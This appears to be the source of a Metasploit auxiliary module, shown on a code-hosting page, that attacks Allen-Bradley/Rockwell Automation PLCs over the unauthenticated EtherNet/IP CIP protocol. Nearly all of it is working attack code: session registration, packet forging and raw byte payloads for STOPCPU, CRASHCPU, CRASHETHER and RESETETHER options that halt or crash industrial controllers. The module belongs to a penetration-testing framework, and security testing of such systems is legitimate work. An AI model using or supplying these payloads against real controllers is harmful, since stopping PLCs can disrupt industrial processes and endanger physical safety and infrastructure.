Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/scada/multi_cip_command.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Rex::Socket::Tcp89def initialize(info={})10super(update_info(info,11'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',12'Description' => %q{13The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which14implements the protocol. This module implements the CPU STOP command, as well as15the ability to crash the Ethernet card in an affected device.1617This module is based on the original 'ethernetip-multi.rb' Basecamp module18from DigitalBond.19},20'Author' =>21[22'Ruben Santamarta <ruben[at]reversemode.com>',23'K. Reid Wightman <wightman[at]digitalbond.com>', # original module24'todb' # Metasploit fixups25],26'License' => MSF_LICENSE,27'References' =>28[29[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]30],31'DisclosureDate' => '2012-01-19'))3233register_options(34[35Opt::RPORT(44818),36# Note that OptEnum is case sensitive37OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",38[39"STOPCPU",40"CRASHCPU",41"CRASHETHER",42"RESETETHER"43]44])45], self.class46)47end4849def run50attack = datastore["ATTACK"]51print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."52sid = req_session53if sid54forge_packet(sid, payload(attack))55print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."56end57end5859def forge_packet(sessionid, payload)60packet = ""61packet += "\x6f\x00" # command: Send request/reply data62packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)63packet += [sessionid].pack("N") # session identifier (4 bytes)64packet += payload #payload part65begin66sock.put(packet)67rescue ::Interrupt68print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")69raise $!70rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused71print_error("#{rhost}:#{rport} - CIP - Network error during payload")72return nil73end74end7576def req_session77begin78connect79packet = ""80packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)81packet += "\x04\x00" # encaph_length (2 bytes)82packet += "\x00\x00\x00\x00" # session identifier (4 bytes)83packet += "\x00\x00\x00\x00" # status code (4 bytes)84packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)85packet += "\x00\x00\x00\x00" # options flags (4 bytes)86packet += "\x01\x00" # proto (2 bytes)87packet += "\x00\x00" # flags (2 bytes)88sock.put(packet)89response = sock.get_once90if response91session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done92if session_id93print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))94else95print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")96return nil97end98else99raise ::Rex::ConnectionTimeout100end101rescue ::Interrupt102print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotiation")103raise $!104rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e105print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")106return nil107end108return session_id109end110111def cleanup112disconnect rescue nil113end114115def payload(attack)116case attack117when "STOPCPU"118payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-119"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1120"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2121"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3122when "CRASHCPU"123payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +124"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +125"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"126when "CRASHETHER"127payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +128"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"129when "RESETETHER"130payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +131"\x05\x03\x20\x01\x24\x01\x30\x03"132else133print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")134return nil135end136end137end138139140